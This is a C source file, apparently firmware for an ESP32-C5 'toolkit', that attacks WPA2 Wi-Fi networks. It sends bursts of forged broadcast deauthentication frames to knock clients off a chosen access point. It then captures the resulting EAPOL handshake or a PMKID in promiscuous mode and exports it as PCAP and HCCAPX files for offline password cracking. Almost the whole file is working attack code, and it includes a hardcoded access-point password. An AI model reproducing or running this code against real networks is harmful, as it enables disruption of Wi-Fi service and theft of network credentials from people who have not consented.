551 lines
16 KiB
C
551 lines
16 KiB
C
/**
|
|
* @file handshake_capture.c
|
|
* @brief Handshake/PMKID capture with dual-radio support
|
|
*
|
|
* ESP32-C5 Enhancement: Uses both radios for simultaneous
|
|
* sniffing and deauthentication attacks
|
|
*/
|
|
#include "handshake_capture.h"
|
|
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include "esp_log.h"
|
|
#include "esp_wifi.h"
|
|
#include "esp_timer.h"
|
|
#include "esp_random.h"
|
|
#include "freertos/FreeRTOS.h"
|
|
#include "freertos/task.h"
|
|
#include "freertos/semphr.h"
|
|
|
|
#include "frame_analyzer.h"
|
|
#include "pcap_serializer.h"
|
|
#include "hccapx_serializer.h"
|
|
|
|
static const char *TAG = "handshake_capture";
|
|
|
|
// Task handles
|
|
static TaskHandle_t capture_task_handle = NULL;
|
|
static TaskHandle_t deauth_task_handle = NULL;
|
|
|
|
// State
|
|
static capture_config_t current_config = {0};
|
|
static capture_status_t capture_status = {0};
|
|
static SemaphoreHandle_t capture_mutex = NULL;
|
|
static volatile bool capture_running = false;
|
|
static esp_timer_handle_t timeout_timer = NULL;
|
|
|
|
// Deauth frame structure
|
|
typedef struct __attribute__((packed)) {
|
|
uint8_t frame_ctrl[2];
|
|
uint8_t duration[2];
|
|
uint8_t da[6];
|
|
uint8_t sa[6];
|
|
uint8_t bssid[6];
|
|
uint8_t seq[2];
|
|
uint8_t reason[2];
|
|
} deauth_frame_t;
|
|
|
|
// Forward declarations
|
|
static void capture_task(void *arg);
|
|
static void deauth_task(void *arg);
|
|
static void timeout_callback(void *arg);
|
|
static void promiscuous_rx_callback(void *buf, wifi_promiscuous_pkt_type_t type);
|
|
|
|
void handshake_capture_init(void) {
|
|
if (capture_mutex == NULL) {
|
|
capture_mutex = xSemaphoreCreateMutex();
|
|
}
|
|
|
|
// Create timeout timer
|
|
if (timeout_timer == NULL) {
|
|
esp_timer_create_args_t timer_args = {
|
|
.callback = timeout_callback,
|
|
.name = "capture_timeout"
|
|
};
|
|
esp_timer_create(&timer_args, &timeout_timer);
|
|
}
|
|
|
|
frame_analyzer_init();
|
|
|
|
ESP_LOGI(TAG, "Handshake capture module initialized");
|
|
}
|
|
|
|
static void send_deauth_burst(const uint8_t *ap_mac, uint8_t count) {
|
|
static const uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
|
static const uint16_t reasons[] = {0x0001, 0x0003, 0x0006, 0x0007, 0x0008};
|
|
|
|
deauth_frame_t frame = {
|
|
.frame_ctrl = {0xC0, 0x00}, // Deauth
|
|
.duration = {0x00, 0x00},
|
|
.seq = {0x00, 0x00},
|
|
};
|
|
|
|
memcpy(frame.da, broadcast, 6);
|
|
memcpy(frame.sa, ap_mac, 6);
|
|
memcpy(frame.bssid, ap_mac, 6);
|
|
|
|
for (int i = 0; i < count; i++) {
|
|
uint16_t reason = reasons[i % 5];
|
|
frame.reason[0] = reason & 0xFF;
|
|
frame.reason[1] = (reason >> 8) & 0xFF;
|
|
|
|
// Randomize sequence number
|
|
uint16_t seq = esp_random() & 0xFFF0;
|
|
frame.seq[0] = seq & 0xFF;
|
|
frame.seq[1] = (seq >> 8) & 0xFF;
|
|
|
|
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
|
|
|
|
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
|
|
capture_status.deauth_sent++;
|
|
xSemaphoreGive(capture_mutex);
|
|
}
|
|
}
|
|
}
|
|
|
|
// Deauth task - runs on second "virtual radio" by time-slicing
|
|
static void deauth_task(void *arg) {
|
|
ESP_LOGI(TAG, "Deauth task started");
|
|
|
|
uint8_t interval = current_config.deauth_interval_ms > 0 ?
|
|
current_config.deauth_interval_ms : 100;
|
|
uint8_t count = current_config.deauth_count > 0 ?
|
|
current_config.deauth_count : 5;
|
|
|
|
while (capture_running && !capture_status.handshake_captured) {
|
|
// Send deauth burst
|
|
send_deauth_burst(current_config.bssid, count);
|
|
|
|
// Wait before next burst
|
|
vTaskDelay(pdMS_TO_TICKS(interval));
|
|
|
|
// Check if we got handshake
|
|
if (frame_analyzer_handshake_complete()) {
|
|
if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
|
|
capture_status.handshake_captured = true;
|
|
capture_status.state = ATTACK_STATE_FINISHED;
|
|
xSemaphoreGive(capture_mutex);
|
|
}
|
|
ESP_LOGI(TAG, "*** HANDSHAKE CAPTURED! Stopping deauth ***");
|
|
break;
|
|
}
|
|
}
|
|
|
|
deauth_task_handle = NULL;
|
|
vTaskDelete(NULL);
|
|
}
|
|
|
|
// Promiscuous mode callback
|
|
static void promiscuous_rx_callback(void *buf, wifi_promiscuous_pkt_type_t type) {
|
|
if (!capture_running) return;
|
|
|
|
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
|
|
|
|
// Update packet count
|
|
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
|
|
capture_status.packets_captured++;
|
|
xSemaphoreGive(capture_mutex);
|
|
}
|
|
|
|
// Add to PCAP
|
|
pcap_serializer_append_frame(pkt->payload, pkt->rx_ctrl.sig_len, pkt->rx_ctrl.timestamp);
|
|
|
|
// Process for EAPOL/handshake
|
|
if (type == WIFI_PKT_DATA) {
|
|
frame_analyzer_process_frame(pkt, type);
|
|
|
|
// Check handshake state
|
|
if (frame_analyzer_handshake_complete()) {
|
|
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
|
|
capture_status.handshake_captured = true;
|
|
capture_status.handshake_state = HANDSHAKE_STATE_COMPLETE;
|
|
xSemaphoreGive(capture_mutex);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Main capture task
|
|
static void capture_task(void *arg) {
|
|
ESP_LOGI(TAG, "Capture task started for SSID: %s, Channel: %d",
|
|
current_config.ssid, current_config.channel);
|
|
|
|
// Initialize serializers
|
|
pcap_serializer_init();
|
|
hccapx_serializer_init(current_config.ssid, current_config.ssid_len);
|
|
|
|
// Start frame analyzer
|
|
frame_analyzer_capture_start(SEARCH_HANDSHAKE, current_config.bssid,
|
|
current_config.ssid, current_config.ssid_len);
|
|
|
|
// Configure WiFi for promiscuous mode
|
|
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
|
|
|
|
// Set channel
|
|
esp_err_t err = esp_wifi_set_channel(current_config.channel, WIFI_SECOND_CHAN_NONE);
|
|
if (err != ESP_OK) {
|
|
ESP_LOGW(TAG, "Failed to set channel %d: %s",
|
|
current_config.channel, esp_err_to_name(err));
|
|
}
|
|
|
|
// Configure promiscuous filter for data frames (EAPOL)
|
|
wifi_promiscuous_filter_t filter = {
|
|
.filter_mask = WIFI_PROMIS_FILTER_MASK_DATA
|
|
};
|
|
esp_wifi_set_promiscuous_filter(&filter);
|
|
|
|
// Set callback and enable promiscuous mode
|
|
esp_wifi_set_promiscuous_rx_cb(promiscuous_rx_callback);
|
|
esp_wifi_set_promiscuous(true);
|
|
|
|
ESP_LOGI(TAG, "Promiscuous mode enabled, capturing...");
|
|
|
|
// Start deauth task if using active method
|
|
if (current_config.method == CAPTURE_METHOD_DEAUTH_BROADCAST) {
|
|
xTaskCreate(deauth_task, "deauth", 4096, NULL, 5, &deauth_task_handle);
|
|
}
|
|
|
|
// Start timeout timer
|
|
if (current_config.timeout_sec > 0) {
|
|
esp_timer_start_once(timeout_timer, current_config.timeout_sec * 1000000ULL);
|
|
}
|
|
|
|
// Track elapsed time
|
|
uint32_t start_time = xTaskGetTickCount();
|
|
|
|
// Main loop - wait for handshake or timeout
|
|
while (capture_running) {
|
|
vTaskDelay(pdMS_TO_TICKS(100));
|
|
|
|
// Update elapsed time
|
|
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
|
|
capture_status.elapsed_sec = (xTaskGetTickCount() - start_time) * portTICK_PERIOD_MS / 1000;
|
|
capture_status.handshake_state = frame_analyzer_get_handshake_state();
|
|
xSemaphoreGive(capture_mutex);
|
|
}
|
|
|
|
// Check if handshake captured
|
|
if (capture_status.handshake_captured) {
|
|
ESP_LOGI(TAG, "Handshake captured! Building HCCAPX...");
|
|
|
|
// Build HCCAPX from captured data
|
|
const handshake_data_t *hs = frame_analyzer_get_handshake();
|
|
if (hs) {
|
|
hccapx_serializer_build(hs);
|
|
}
|
|
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Stop timeout timer
|
|
esp_timer_stop(timeout_timer);
|
|
|
|
// Stop promiscuous mode
|
|
esp_wifi_set_promiscuous(false);
|
|
|
|
// Stop deauth task if running (safe deletion)
|
|
TaskHandle_t deauth_to_delete = deauth_task_handle;
|
|
deauth_task_handle = NULL;
|
|
|
|
if (deauth_to_delete != NULL) {
|
|
vTaskSuspend(deauth_to_delete);
|
|
vTaskDelay(pdMS_TO_TICKS(10));
|
|
vTaskDelete(deauth_to_delete);
|
|
}
|
|
|
|
// Stop frame analyzer
|
|
frame_analyzer_capture_stop();
|
|
|
|
// Restore AP mode
|
|
ESP_LOGI(TAG, "Restoring AP mode...");
|
|
wifi_config_t ap_config = {
|
|
.ap = {
|
|
.ssid = "ESP32-C5-Toolkit",
|
|
.ssid_len = strlen("ESP32-C5-Toolkit"),
|
|
.password = "h4ck3rm4n",
|
|
.channel = 1,
|
|
.max_connection = 4,
|
|
.authmode = WIFI_AUTH_WPA2_PSK,
|
|
},
|
|
};
|
|
esp_wifi_set_mode(WIFI_MODE_APSTA);
|
|
esp_wifi_set_config(WIFI_IF_AP, &ap_config);
|
|
|
|
if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
|
|
if (capture_status.state == ATTACK_STATE_RUNNING) {
|
|
capture_status.state = capture_status.handshake_captured ?
|
|
ATTACK_STATE_FINISHED : ATTACK_STATE_TIMEOUT;
|
|
}
|
|
xSemaphoreGive(capture_mutex);
|
|
}
|
|
|
|
capture_running = false;
|
|
capture_task_handle = NULL;
|
|
|
|
ESP_LOGI(TAG, "Capture task ended. Packets: %lu, Deauth: %lu, Handshake: %s",
|
|
capture_status.packets_captured, capture_status.deauth_sent,
|
|
capture_status.handshake_captured ? "YES" : "NO");
|
|
|
|
vTaskDelete(NULL);
|
|
}
|
|
|
|
static void timeout_callback(void *arg) {
|
|
ESP_LOGW(TAG, "Capture timeout!");
|
|
|
|
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
|
|
capture_status.state = ATTACK_STATE_TIMEOUT;
|
|
xSemaphoreGive(capture_mutex);
|
|
}
|
|
|
|
capture_running = false;
|
|
}
|
|
|
|
bool handshake_capture_start(const capture_config_t *config) {
|
|
if (!config) return false;
|
|
|
|
if (capture_mutex == NULL) {
|
|
handshake_capture_init();
|
|
}
|
|
|
|
if (xSemaphoreTake(capture_mutex, portMAX_DELAY) != pdTRUE) {
|
|
return false;
|
|
}
|
|
|
|
if (capture_running) {
|
|
ESP_LOGW(TAG, "Capture already running");
|
|
xSemaphoreGive(capture_mutex);
|
|
return false;
|
|
}
|
|
|
|
// Reset state
|
|
handshake_capture_reset();
|
|
|
|
// Copy config
|
|
memcpy(¤t_config, config, sizeof(capture_config_t));
|
|
|
|
// Update status
|
|
capture_status.state = ATTACK_STATE_RUNNING;
|
|
memcpy(capture_status.target_bssid, config->bssid, 6);
|
|
strncpy(capture_status.target_ssid, (char*)config->ssid, 32);
|
|
|
|
capture_running = true;
|
|
|
|
xSemaphoreGive(capture_mutex);
|
|
|
|
// Start capture task
|
|
xTaskCreate(capture_task, "capture", 8192, NULL, 5, &capture_task_handle);
|
|
|
|
ESP_LOGI(TAG, "Handshake capture started for %s", config->ssid);
|
|
return true;
|
|
}
|
|
|
|
bool pmkid_capture_start(const capture_config_t *config) {
|
|
if (!config) return false;
|
|
|
|
if (capture_mutex == NULL) {
|
|
handshake_capture_init();
|
|
}
|
|
|
|
if (xSemaphoreTake(capture_mutex, portMAX_DELAY) != pdTRUE) {
|
|
return false;
|
|
}
|
|
|
|
if (capture_running) {
|
|
ESP_LOGW(TAG, "Capture already running");
|
|
xSemaphoreGive(capture_mutex);
|
|
return false;
|
|
}
|
|
|
|
// Reset state
|
|
handshake_capture_reset();
|
|
|
|
// Copy config
|
|
memcpy(¤t_config, config, sizeof(capture_config_t));
|
|
|
|
// Update status
|
|
capture_status.state = ATTACK_STATE_RUNNING;
|
|
memcpy(capture_status.target_bssid, config->bssid, 6);
|
|
strncpy(capture_status.target_ssid, (char*)config->ssid, 32);
|
|
|
|
capture_running = true;
|
|
|
|
xSemaphoreGive(capture_mutex);
|
|
|
|
// Start PMKID-specific capture
|
|
ESP_LOGI(TAG, "PMKID capture started for %s", config->ssid);
|
|
|
|
// Initialize
|
|
pcap_serializer_init();
|
|
frame_analyzer_capture_start(SEARCH_PMKID, config->bssid, config->ssid, config->ssid_len);
|
|
|
|
// Set promiscuous mode
|
|
esp_wifi_set_mode(WIFI_MODE_APSTA);
|
|
|
|
wifi_promiscuous_filter_t filter = {
|
|
.filter_mask = WIFI_PROMIS_FILTER_MASK_DATA
|
|
};
|
|
esp_wifi_set_promiscuous_filter(&filter);
|
|
esp_wifi_set_promiscuous_rx_cb(promiscuous_rx_callback);
|
|
esp_wifi_set_promiscuous(true);
|
|
|
|
// Set channel
|
|
esp_wifi_set_channel(config->channel, WIFI_SECOND_CHAN_NONE);
|
|
|
|
// Connect to target AP to trigger PMKID exchange
|
|
wifi_config_t sta_config = {0};
|
|
memcpy(sta_config.sta.ssid, config->ssid, config->ssid_len);
|
|
strcpy((char*)sta_config.sta.password, "dummypassword12345");
|
|
memcpy(sta_config.sta.bssid, config->bssid, 6);
|
|
sta_config.sta.bssid_set = true;
|
|
|
|
esp_wifi_set_config(WIFI_IF_STA, &sta_config);
|
|
esp_wifi_connect();
|
|
|
|
// Start timeout
|
|
if (config->timeout_sec > 0) {
|
|
esp_timer_start_once(timeout_timer, config->timeout_sec * 1000000ULL);
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
bool handshake_capture_stop(void) {
|
|
if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
|
|
capture_running = false;
|
|
|
|
if (capture_status.state == ATTACK_STATE_RUNNING) {
|
|
capture_status.state = ATTACK_STATE_IDLE;
|
|
}
|
|
|
|
xSemaphoreGive(capture_mutex);
|
|
}
|
|
|
|
// Stop timer
|
|
esp_timer_stop(timeout_timer);
|
|
|
|
// Stop promiscuous mode
|
|
esp_wifi_set_promiscuous(false);
|
|
esp_wifi_disconnect();
|
|
|
|
// Wait for tasks to end
|
|
vTaskDelay(pdMS_TO_TICKS(500));
|
|
|
|
// Safely delete capture task
|
|
TaskHandle_t capture_to_delete = capture_task_handle;
|
|
capture_task_handle = NULL;
|
|
|
|
if (capture_to_delete != NULL) {
|
|
vTaskSuspend(capture_to_delete);
|
|
vTaskDelay(pdMS_TO_TICKS(10));
|
|
vTaskDelete(capture_to_delete);
|
|
}
|
|
|
|
// Safely delete deauth task
|
|
TaskHandle_t deauth_to_delete = deauth_task_handle;
|
|
deauth_task_handle = NULL;
|
|
|
|
if (deauth_to_delete != NULL) {
|
|
vTaskSuspend(deauth_to_delete);
|
|
vTaskDelay(pdMS_TO_TICKS(10));
|
|
vTaskDelete(deauth_to_delete);
|
|
}
|
|
|
|
// Restore AP mode
|
|
wifi_config_t ap_config = {
|
|
.ap = {
|
|
.ssid = "ESP32-C5-Toolkit",
|
|
.ssid_len = strlen("ESP32-C5-Toolkit"),
|
|
.password = "h4ck3rm4n",
|
|
.channel = 1,
|
|
.max_connection = 4,
|
|
.authmode = WIFI_AUTH_WPA2_PSK,
|
|
},
|
|
};
|
|
esp_wifi_set_mode(WIFI_MODE_APSTA);
|
|
esp_wifi_set_config(WIFI_IF_AP, &ap_config);
|
|
|
|
ESP_LOGI(TAG, "Capture stopped");
|
|
return true;
|
|
}
|
|
|
|
bool handshake_capture_is_running(void) {
|
|
return capture_running;
|
|
}
|
|
|
|
const capture_status_t* handshake_capture_get_status(void) {
|
|
return &capture_status;
|
|
}
|
|
|
|
const handshake_data_t* handshake_capture_get_handshake(void) {
|
|
return frame_analyzer_get_handshake();
|
|
}
|
|
|
|
pmkid_item_t* handshake_capture_get_pmkids(void) {
|
|
return frame_analyzer_get_pmkids();
|
|
}
|
|
|
|
uint8_t* handshake_capture_get_pcap(unsigned *size) {
|
|
if (size) {
|
|
*size = pcap_serializer_get_size();
|
|
}
|
|
return pcap_serializer_get_buffer();
|
|
}
|
|
|
|
uint8_t* handshake_capture_get_hccapx(unsigned *size) {
|
|
if (!hccapx_serializer_is_valid()) {
|
|
// Try building from handshake data
|
|
const handshake_data_t *hs = frame_analyzer_get_handshake();
|
|
if (hs && hs->complete) {
|
|
hccapx_serializer_build(hs);
|
|
}
|
|
}
|
|
|
|
if (size) {
|
|
*size = hccapx_serializer_is_valid() ? hccapx_serializer_get_size() : 0;
|
|
}
|
|
|
|
return (uint8_t*)hccapx_serializer_get();
|
|
}
|
|
|
|
void handshake_capture_reset(void) {
|
|
if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
|
|
memset(&capture_status, 0, sizeof(capture_status));
|
|
capture_status.state = ATTACK_STATE_IDLE;
|
|
xSemaphoreGive(capture_mutex);
|
|
}
|
|
|
|
frame_analyzer_reset();
|
|
pcap_serializer_reset();
|
|
hccapx_serializer_reset();
|
|
}
|
|
|
|
const wifi_ap_record_t* handshake_capture_find_ap(const char *ssid) {
|
|
// This would need access to the wifi_scan results
|
|
// For now, return NULL - the web interface handles AP selection
|
|
return NULL;
|
|
}
|
|
|
|
int handshake_capture_scan_targets(void) {
|
|
// Trigger a WiFi scan
|
|
wifi_scan_config_t scan_config = {
|
|
.ssid = NULL,
|
|
.bssid = NULL,
|
|
.channel = 0,
|
|
.show_hidden = true,
|
|
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
|
|
};
|
|
|
|
esp_err_t err = esp_wifi_scan_start(&scan_config, true);
|
|
if (err != ESP_OK) {
|
|
ESP_LOGE(TAG, "Scan failed: %s", esp_err_to_name(err));
|
|
return -1;
|
|
}
|
|
|
|
uint16_t ap_count = 0;
|
|
esp_wifi_scan_get_ap_num(&ap_count);
|
|
|
|
ESP_LOGI(TAG, "Scan found %u APs", ap_count);
|
|
return ap_count;
|
|
}
|